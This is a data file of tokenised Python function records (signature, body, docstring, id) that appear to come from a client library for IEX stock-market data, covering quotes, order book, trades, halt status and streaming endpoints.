{"signature": "def ssrStatusSSE(symbols=None, on_data=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _runSSE('<STR_LIT>', symbols, on_data, token, version)<EOL>", "docstring": "In association with Rule 201 of Regulation SHO, the Short Sale Price Test Message is used to indicate when a short sale price test restriction is in effect for a security.\n\n    IEX disseminates a full pre-market spin of Short sale price test status messages indicating the Rule 201 status of all securities. After the pre-market spin, IEX will use the Short sale price test status message in the event of an intraday status change.\n\n    The IEX Trading System will process orders based on the latest short sale price test restriction status.\n\n    https://iexcloud.io/docs/api/#deep-short-sale-price-test-status\n\n    Args:\n        symbols (string); Tickers to request\n        on_data (function): Callback on data\n        token (string); Access token\n        version (string); API version", "id": "f2332:m10"}
{"signature": "def systemEventSSE(symbols=None, on_data=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _runSSE('<STR_LIT>', symbols, on_data, token, version)<EOL>", "docstring": "The System event message is used to indicate events that apply to the market or the data feed.\n\n    There will be a single message disseminated per channel for each System Event type within a given trading session.\n\n    https://iexcloud.io/docs/api/#deep-system-event\n\n    Args:\n        symbols (string); Tickers to request\n        on_data (function): Callback on data\n        token (string); Access token\n        version (string); API version", "id": "f2332:m11"}
{"signature": "def tradeBreaksSSE(symbols=None, on_data=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _runSSE('<STR_LIT>', symbols, on_data, token, version)<EOL>", "docstring": "Trade report messages are sent when an order on the IEX Order Book is executed in whole or in part. DEEP sends a Trade report message for every individual fill.\n\n    https://iexcloud.io/docs/api/#deep-trades\n\n    Args:\n        symbols (string); Tickers to request\n        on_data (function): Callback on data\n        token (string); Access token\n        version (string); API version", "id": "f2332:m12"}
{"signature": "def tradingStatusSSE(symbols=None, on_data=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _runSSE('<STR_LIT>', symbols, on_data, token, version)<EOL>", "docstring": "The Trading status message is used to indicate the current trading status of a security.\n For IEX-listed securities, IEX acts as the primary market and has the authority to institute a trading halt or trading pause in a security due to news dissemination or regulatory reasons.\n For non-IEX-listed securities, IEX abides by any regulatory trading halts and trading pauses instituted by the primary or listing market, as applicable.\n\n    IEX disseminates a full pre-market spin of Trading status messages indicating the trading status of all securities.\n In the spin, IEX will send out a Trading status message with \u201cT\u201d (Trading) for all securities that are eligible for trading at the start of the Pre-Market Session.\n If a security is absent from the dissemination, firms should assume that the security is being treated as operationally halted in the IEX Trading System.\n\n    After the pre-market spin, IEX will use the Trading status message to relay changes in trading status for an individual security. Messages will be sent when a security is:\n\n    Halted\n    Paused*\n    Released into an Order Acceptance Period*\n    Released for trading\n    *The paused and released into an Order Acceptance Period status will be disseminated for IEX-listed securities only. Trading pauses on non-IEX-listed securities will be treated simply as a halt.\n\n    https://iexcloud.io/docs/api/#deep-trading-status\n\n    Args:\n        symbols (string); Tickers to request\n        on_data (function): Callback on data\n        token (string); Access token\n        version (string); API version", "id": "f2332:m13"}
{"signature": "def tops(symbols=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "symbols = _strToList(symbols)<EOL>if symbols:<EOL><INDENT>return _getJson('<STR_LIT>' + '<STR_LIT:U+002C>'.join(symbols) + '<STR_LIT>', token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "TOPS provides IEX\u2019s aggregated best quoted bid and offer position in near real time for all securities on IEX\u2019s displayed limit order book.\n    TOPS is ideal for developers needing both quote and trade data.\n\n    https://iexcloud.io/docs/api/#tops\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2333:m0"}
{"signature": "def topsDF(symbols=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.io.json.json_normalize(tops(symbols, token, version))<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "TOPS provides IEX\u2019s aggregated best quoted bid and offer position in near real time for all securities on IEX\u2019s displayed limit order book.\n    TOPS is ideal for developers needing both quote and trade data.\n\n    https://iexcloud.io/docs/api/#tops\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2333:m1"}
{"signature": "def last(symbols=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "symbols = _strToList(symbols)<EOL>if symbols:<EOL><INDENT>return _getJson('<STR_LIT>' + '<STR_LIT:U+002C>'.join(symbols) + '<STR_LIT>', token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "Last provides trade data for executions on IEX. It is a near real time, intraday API that provides IEX last sale price, size and time.\n    Last is ideal for developers that need a lightweight stock quote.\n\n    https://iexcloud.io/docs/api/#last\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2333:m2"}
{"signature": "def lastDF(symbols=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.io.json.json_normalize(last(symbols, token, version))<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "Last provides trade data for executions on IEX. It is a near real time, intraday API that provides IEX last sale price, size and time.\n    Last is ideal for developers that need a lightweight stock quote.\n\n    https://iexcloud.io/docs/api/#last\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2333:m3"}
{"signature": "def deep(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>if symbol:<EOL><INDENT>return _getJson('<STR_LIT>' + symbol, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "DEEP is used to receive real-time depth of book quotations direct from IEX.\n    The depth of book quotations received via DEEP provide an aggregated size of resting displayed orders at a price and side,\n    and do not indicate the size or number of individual orders at any price level.\n    Non-displayed orders and non-displayed portions of reserve orders are not represented in DEEP.\n\n    DEEP also provides last trade price and size information. Trades resulting from either displayed or non-displayed orders matching on IEX will be reported. Routed executions will not be reported.\n\n    https://iexcloud.io/docs/api/#deep\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2333:m4"}
{"signature": "def deepDF(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.io.json.json_normalize(deep(symbol, token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "DEEP is used to receive real-time depth of book quotations direct from IEX.\n    The depth of book quotations received via DEEP provide an aggregated size of resting displayed orders at a price and side,\n    and do not indicate the size or number of individual orders at any price level.\n    Non-displayed orders and non-displayed portions of reserve orders are not represented in DEEP.\n\n    DEEP also provides last trade price and size information. Trades resulting from either displayed or non-displayed orders matching on IEX will be reported. Routed executions will not be reported.\n\n    https://iexcloud.io/docs/api/#deep\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2333:m5"}
{"signature": "def auction(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>if symbol:<EOL><INDENT>return _getJson('<STR_LIT>' + symbol, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "DEEP broadcasts an Auction Information Message every one second between the Lock-in Time and the auction match for Opening and Closing Auctions,\n    and during the Display Only Period for IPO, Halt, and Volatility Auctions. Only IEX listed securities are eligible for IEX Auctions.\n\n    https://iexcloud.io/docs/api/#deep-auction\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2333:m6"}
{"signature": "def auctionDF(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.io.json.json_normalize(auction(symbol, token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "DEEP broadcasts an Auction Information Message every one second between the Lock-in Time and the auction match for Opening and Closing Auctions,\n    and during the Display Only Period for IPO, Halt, and Volatility Auctions. Only IEX listed securities are eligible for IEX Auctions.\n\n    https://iexcloud.io/docs/api/#deep-auction\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2333:m7"}
{"signature": "def book(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>if symbol:<EOL><INDENT>return _getJson('<STR_LIT>' + symbol, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "Book shows IEX\u2019s bids and asks for given symbols.\n\n    https://iexcloud.io/docs/api/#deep-book\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2333:m8"}
{"signature": "def bookDF(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "x = book(symbol, token, version)<EOL>data = []<EOL>for key in x:<EOL><INDENT>d = x[key]<EOL>d['<STR_LIT>'] = key<EOL>data.append(d)<EOL><DEDENT>df = pd.io.json.json_normalize(data)<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "Book shows IEX\u2019s bids and asks for given symbols.\n\n    https://iexcloud.io/docs/api/#deep-book\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2333:m9"}
{"signature": "def opHaltStatus(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>if symbol:<EOL><INDENT>return _getJson('<STR_LIT>' + symbol, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "The Exchange may suspend trading of one or more securities on IEX for operational reasons and indicates such operational halt using the Operational halt status message.\n\n    IEX disseminates a full pre-market spin of Operational halt status messages indicating the operational halt status of all securities.\n    In the spin, IEX will send out an Operational Halt Message with \u201cN\u201d (Not operationally halted on IEX) for all securities that are eligible for trading at the start of the Pre-Market Session.\n    If a security is absent from the dissemination, firms should assume that the security is being treated as operationally halted in the IEX Trading System at the start of the Pre-Market Session.\n\n    After the pre-market spin, IEX will use the Operational halt status message to relay changes in operational halt status for an individual security.\n\n    https://iexcloud.io/docs/api/#deep-operational-halt-status\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2333:m10"}
{"signature": "def opHaltStatusDF(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "x = opHaltStatus(symbol, token, version)<EOL>data = []<EOL>for key in x:<EOL><INDENT>d = x[key]<EOL>d['<STR_LIT>'] = key<EOL>data.append(d)<EOL><DEDENT>df = pd.DataFrame(data)<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "The Exchange may suspend trading of one or more securities on IEX for operational reasons and indicates such operational halt using the Operational halt status message.\n\n    IEX disseminates a full pre-market spin of Operational halt status messages indicating the operational halt status of all securities.\n    In the spin, IEX will send out an Operational Halt Message with \u201cN\u201d (Not operationally halted on IEX) for all securities that are eligible for trading at the start of the Pre-Market Session.\n    If a security is absent from the dissemination, firms should assume that the security is being treated as operationally halted in the IEX Trading System at the start of the Pre-Market Session.\n\n    After the pre-market spin, IEX will use the Operational halt status message to relay changes in operational halt status for an individual security.\n\n    https://iexcloud.io/docs/api/#deep-operational-halt-status\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2333:m11"}
{"signature": "def officialPrice(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>if symbol:<EOL><INDENT>return _getJson('<STR_LIT>' + symbol, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "The Official Price message is used to disseminate the IEX Official Opening and Closing Prices.\n\n    These messages will be provided only for IEX Listed Securities.\n\n    https://iexcloud.io/docs/api/#deep-official-price\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2333:m12"}
{"signature": "def officialPriceDF(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.io.json.json_normalize(officialPrice(symbol, token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "The Official Price message is used to disseminate the IEX Official Opening and Closing Prices.\n\n    These messages will be provided only for IEX Listed Securities.\n\n    https://iexcloud.io/docs/api/#deep-official-price\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2333:m13"}
{"signature": "def securityEvent(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>if symbol:<EOL><INDENT>return _getJson('<STR_LIT>' + symbol, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "The Security event message is used to indicate events that apply to a security. A Security event message will be sent whenever such event occurs\n\n    https://iexcloud.io/docs/api/#deep-security-event\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2333:m14"}
{"signature": "def securityEventDF(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "x = securityEvent(symbol, token, version)<EOL>data = []<EOL>for key in x:<EOL><INDENT>d = x[key]<EOL>d['<STR_LIT>'] = key<EOL>data.append(d)<EOL><DEDENT>df = pd.DataFrame(data)<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "The Security event message is used to indicate events that apply to a security. A Security event message will be sent whenever such event occurs\n\n    https://iexcloud.io/docs/api/#deep-security-event\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2333:m15"}
{"signature": "def ssrStatus(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>if symbol:<EOL><INDENT>return _getJson('<STR_LIT>' + symbol, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "In association with Rule 201 of Regulation SHO, the Short Sale Price Test Message is used to indicate when a short sale price test restriction is in effect for a security.\n\n    IEX disseminates a full pre-market spin of Short sale price test status messages indicating the Rule 201 status of all securities.\n     After the pre-market spin, IEX will use the Short sale price test status message in the event of an intraday status change.\n\n    The IEX Trading System will process orders based on the latest short sale price test restriction status.\n\n    https://iexcloud.io/docs/api/#deep-short-sale-price-test-status\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2333:m16"}
{"signature": "def ssrStatusDF(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "x = ssrStatus(symbol, token, version)<EOL>data = []<EOL>for key in x:<EOL><INDENT>d = x[key]<EOL>d['<STR_LIT>'] = key<EOL>data.append(d)<EOL><DEDENT>df = pd.DataFrame(data)<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "In association with Rule 201 of Regulation SHO, the Short Sale Price Test Message is used to indicate when a short sale price test restriction is in effect for a security.\n\n    IEX disseminates a full pre-market spin of Short sale price test status messages indicating the Rule 201 status of all securities.\n     After the pre-market spin, IEX will use the Short sale price test status message in the event of an intraday status change.\n\n    The IEX Trading System will process orders based on the latest short sale price test restriction status.\n\n    https://iexcloud.io/docs/api/#deep-short-sale-price-test-status\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2333:m17"}
{"signature": "def systemEvent(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "The System event message is used to indicate events that apply to the market or the data feed.\n\n    There will be a single message disseminated per channel for each System Event type within a given trading session.\n\n    https://iexcloud.io/docs/api/#deep-system-event\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2333:m18"}
{"signature": "def systemEventDF(token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.io.json.json_normalize(systemEvent(token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "The System event message is used to indicate events that apply to the market or the data feed.\n\n    There will be a single message disseminated per channel for each System Event type within a given trading session.\n\n    https://iexcloud.io/docs/api/#deep-system-event\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2333:m19"}
{"signature": "def trades(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>if symbol:<EOL><INDENT>return _getJson('<STR_LIT>' + symbol, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "Trade report messages are sent when an order on the IEX Order Book is executed in whole or in part. DEEP sends a Trade report message for every individual fill.\n\n    https://iexcloud.io/docs/api/#deep-trades\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2333:m20"}
{"signature": "def tradesDF(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "x = trades(symbol, token, version)<EOL>data = []<EOL>for key in x:<EOL><INDENT>dat = x[key]<EOL>for d in dat:<EOL><INDENT>d['<STR_LIT>'] = key<EOL>data.append(d)<EOL><DEDENT><DEDENT>df = pd.DataFrame(data)<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "Trade report messages are sent when an order on the IEX Order Book is executed in whole or in part. DEEP sends a Trade report message for every individual fill.\n\n    https://iexcloud.io/docs/api/#deep-trades\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2333:m21"}
{"signature": "def tradeBreak(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>if symbol:<EOL><INDENT>return _getJson('<STR_LIT>' + symbol, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "Trade break messages are sent when an execution on IEX is broken on that same trading day. Trade breaks are rare and only affect applications that rely upon IEX execution based data.\n\n    https://iexcloud.io/docs/api/#deep-trade-break\n\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2333:m22"}
{"signature": "def tradeBreakDF(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.io.json.json_normalize(tradeBreak(symbol, token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "Trade break messages are sent when an execution on IEX is broken on that same trading day. Trade breaks are rare and only affect applications that rely upon IEX execution based data.\n\n    https://iexcloud.io/docs/api/#deep-trade-break\n\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2333:m23"}
{"signature": "def tradingStatus(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>if symbol:<EOL><INDENT>return _getJson('<STR_LIT>' + symbol, token, version)<EOL><DEDENT>return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "The Trading status message is used to indicate the current trading status of a security.\n     For IEX-listed securities, IEX acts as the primary market and has the authority to institute a trading halt or trading pause in a security due to news dissemination or regulatory reasons.\n     For non-IEX-listed securities, IEX abides by any regulatory trading halts and trading pauses instituted by the primary or listing market, as applicable.\n\n    IEX disseminates a full pre-market spin of Trading status messages indicating the trading status of all securities.\n     In the spin, IEX will send out a Trading status message with \u201cT\u201d (Trading) for all securities that are eligible for trading at the start of the Pre-Market Session.\n     If a security is absent from the dissemination, firms should assume that the security is being treated as operationally halted in the IEX Trading System.\n\n\n    After the pre-market spin, IEX will use the Trading status message to relay changes in trading status for an individual security. Messages will be sent when a security is:\n\n    Halted\n    Paused*\n    Released into an Order Acceptance Period*\n    Released for trading\n    *The paused and released into an Order Acceptance Period status will be disseminated for IEX-listed securities only. Trading pauses on non-IEX-listed securities will be treated simply as a halt.\n\n    https://iexcloud.io/docs/api/#deep-trading-status\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2333:m24"}
{"signature": "def tradingStatusDF(symbol=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "x = tradingStatus(symbol, token, version)<EOL>data = []<EOL>for key in x:<EOL><INDENT>d = x[key]<EOL>d['<STR_LIT>'] = key<EOL>data.append(d)<EOL><DEDENT>df = pd.DataFrame(data)<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "The Trading status message is used to indicate the current trading status of a security.\n     For IEX-listed securities, IEX acts as the primary market and has the authority to institute a trading halt or trading pause in a security due to news dissemination or regulatory reasons.\n     For non-IEX-listed securities, IEX abides by any regulatory trading halts and trading pauses instituted by the primary or listing market, as applicable.\n\n    IEX disseminates a full pre-market spin of Trading status messages indicating the trading status of all securities.\n     In the spin, IEX will send out a Trading status message with \u201cT\u201d (Trading) for all securities that are eligible for trading at the start of the Pre-Market Session.\n     If a security is absent from the dissemination, firms should assume that the security is being treated as operationally halted in the IEX Trading System.\n\n    After the pre-market spin, IEX will use the Trading status message to relay changes in trading status for an individual security. Messages will be sent when a security is:\n\n    Halted\n    Paused*\n    Released into an Order Acceptance Period*\n    Released for trading\n    *The paused and released into an Order Acceptance Period status will be disseminated for IEX-listed securities only. Trading pauses on non-IEX-listed securities will be treated simply as a halt.\n\n    https://iexcloud.io/docs/api/#deep-trading-status\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2333:m25"}
{"signature": "def hist(date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "if date is None:<EOL><INDENT>return _getJson('<STR_LIT>', token, version)<EOL><DEDENT>else:<EOL><INDENT>date = _strOrDate(date)<EOL>return _getJson('<STR_LIT>' + date, token, version)<EOL><DEDENT>", "docstring": "Args:\n    date (datetime); Effective date\n    token (string); Access token\n    version (string); API version\n\nReturns:\n    dict: result", "id": "f2333:m26"}
{"signature": "def histDF(date=None, token='<STR_LIT>', version='<STR_LIT>'):", "body": "x = hist(date, token, version)<EOL>data = []<EOL>for key in x:<EOL><INDENT>dat = x[key]<EOL>for item in dat:<EOL><INDENT>item['<STR_LIT:date>'] = key<EOL>data.append(item)<EOL><DEDENT><DEDENT>df = pd.DataFrame(data)<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT:date>')<EOL>return df<EOL>", "docstring": "https://iextrading.com/developer/docs/#hist", "id": "f2333:m27"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def topsWS(symbols=None, on_data=None):", "body": "symbols = _strToList(symbols)<EOL>if symbols:<EOL><INDENT>sendinit = ('<STR_LIT>', '<STR_LIT:U+002C>'.join(symbols))<EOL>return _stream(_wsURL('<STR_LIT>'), sendinit, on_data)<EOL><DEDENT>return _stream(_wsURL('<STR_LIT>'), on_data=on_data)<EOL>", "docstring": "https://iextrading.com/developer/docs/#tops", "id": "f2334:m0"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def lastWS(symbols=None, on_data=None):", "body": "symbols = _strToList(symbols)<EOL>if symbols:<EOL><INDENT>sendinit = ('<STR_LIT>', '<STR_LIT:U+002C>'.join(symbols))<EOL>return _stream(_wsURL('<STR_LIT>'), sendinit, on_data)<EOL><DEDENT>return _stream(_wsURL('<STR_LIT>'), on_data=on_data)<EOL>", "docstring": "https://iextrading.com/developer/docs/#last", "id": "f2334:m1"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def deepWS(symbols=None, channels=None, on_data=None):", "body": "symbols = _strToList(symbols)<EOL>channels = channels or []<EOL>if isinstance(channels, str):<EOL><INDENT>if channels not in DeepChannels.options():<EOL><INDENT>raise PyEXception('<STR_LIT>', type(channels))<EOL><DEDENT>channels = [channels]<EOL><DEDENT>elif isinstance(channels, DeepChannels):<EOL><INDENT>channels = [channels.value]<EOL><DEDENT>elif isinstance(channels, list):<EOL><INDENT>for i, c in enumerate(channels):<EOL><INDENT>if isinstance(c, DeepChannels):<EOL><INDENT>channels[i] = c.value<EOL><DEDENT>elif not isinstance(c, str) or isinstance(c, str) and c not in DeepChannels.options():<EOL><INDENT>raise PyEXception('<STR_LIT>', c)<EOL><DEDENT><DEDENT><DEDENT>sendinit = ({'<STR_LIT>': symbols, '<STR_LIT>': channels},)<EOL>return _stream(_wsURL('<STR_LIT>'), sendinit, on_data)<EOL>", "docstring": "https://iextrading.com/developer/docs/#deep", "id": "f2334:m2"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def bookWS(symbols=None, on_data=None):", "body": "symbols = _strToList(symbols)<EOL>sendinit = ({'<STR_LIT>': symbols, '<STR_LIT>': ['<STR_LIT>']},)<EOL>return _stream(_wsURL('<STR_LIT>'), sendinit, on_data)<EOL>", "docstring": "https://iextrading.com/developer/docs/#book51", "id": "f2334:m3"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def tradesWS(symbols=None, on_data=None):", "body": "symbols = _strToList(symbols)<EOL>sendinit = ({'<STR_LIT>': symbols, '<STR_LIT>': ['<STR_LIT>']},)<EOL>return _stream(_wsURL('<STR_LIT>'), sendinit, on_data)<EOL>", "docstring": "https://iextrading.com/developer/docs/#trades", "id": "f2334:m4"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def systemEventWS(on_data=None):", "body": "sendinit = ({'<STR_LIT>': ['<STR_LIT>']},)<EOL>return _stream(_wsURL('<STR_LIT>'), sendinit, on_data)<EOL>", "docstring": "https://iextrading.com/developer/docs/#system-event", "id": "f2334:m5"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def tradingStatusWS(symbols=None, on_data=None):", "body": "symbols = _strToList(symbols)<EOL>sendinit = ({'<STR_LIT>': symbols, '<STR_LIT>': ['<STR_LIT>']},)<EOL>return _stream(_wsURL('<STR_LIT>'), sendinit, on_data)<EOL>", "docstring": "https://iextrading.com/developer/docs/#trading-status", "id": "f2334:m6"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def opHaltStatusWS(symbols=None, on_data=None):", "body": "symbols = _strToList(symbols)<EOL>sendinit = ({'<STR_LIT>': symbols, '<STR_LIT>': ['<STR_LIT>']},)<EOL>return _stream(_wsURL('<STR_LIT>'), sendinit, on_data)<EOL>", "docstring": "https://iextrading.com/developer/docs/#operational-halt-status", "id": "f2334:m7"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def ssrStatusWS(symbols=None, on_data=None):", "body": "symbols = _strToList(symbols)<EOL>sendinit = ({'<STR_LIT>': symbols, '<STR_LIT>': ['<STR_LIT>']},)<EOL>return _stream(_wsURL('<STR_LIT>'), sendinit, on_data)<EOL>", "docstring": "https://iextrading.com/developer/docs/#short-sale-price-test-status", "id": "f2334:m8"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def securityEventWS(symbols=None, on_data=None):", "body": "symbols = _strToList(symbols)<EOL>sendinit = ({'<STR_LIT>': symbols, '<STR_LIT>': ['<STR_LIT>']},)<EOL>return _stream(_wsURL('<STR_LIT>'), sendinit, on_data)<EOL>", "docstring": "https://iextrading.com/developer/docs/#security-event", "id": "f2334:m9"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def tradeBreakWS(symbols=None, on_data=None):", "body": "symbols = _strToList(symbols)<EOL>sendinit = ({'<STR_LIT>': symbols, '<STR_LIT>': ['<STR_LIT>']},)<EOL>return _stream(_wsURL('<STR_LIT>'), sendinit, on_data)<EOL>", "docstring": "https://iextrading.com/developer/docs/#trade-break", "id": "f2334:m10"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def auctionWS(symbols=None, on_data=None):", "body": "symbols = _strToList(symbols)<EOL>sendinit = ({'<STR_LIT>': symbols, '<STR_LIT>': ['<STR_LIT>']},)<EOL>return _stream(_wsURL('<STR_LIT>'), sendinit, on_data)<EOL>", "docstring": "https://iextrading.com/developer/docs/#auction", "id": "f2334:m11"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def officialPriceWS(symbols=None, on_data=None):", "body": "symbols = _strToList(symbols)<EOL>sendinit = ({'<STR_LIT>': symbols, '<STR_LIT>': ['<STR_LIT>']},)<EOL>return _stream(_wsURL('<STR_LIT>'), sendinit, on_data)<EOL>", "docstring": "https://iextrading.com/developer/docs/#official-price", "id": "f2334:m12"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def markets(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "https://iextrading.com/developer/docs/#intraday", "id": "f2337:m0"}
{"signature": "@deprecated(details='<STR_LIT>')<EOL>def marketsDF(token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(markets(token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "https://iextrading.com/developer/docs/#intraday", "id": "f2337:m1"}
{"signature": "def _getJson(url, token='<STR_LIT>', version='<STR_LIT>'):", "body": "if token:<EOL><INDENT>return _getJsonIEXCloud(url, token, version)<EOL><DEDENT>return _getJsonOrig(url)<EOL>", "docstring": "for backwards compat, accepting token and version but ignoring", "id": "f2338:m0"}
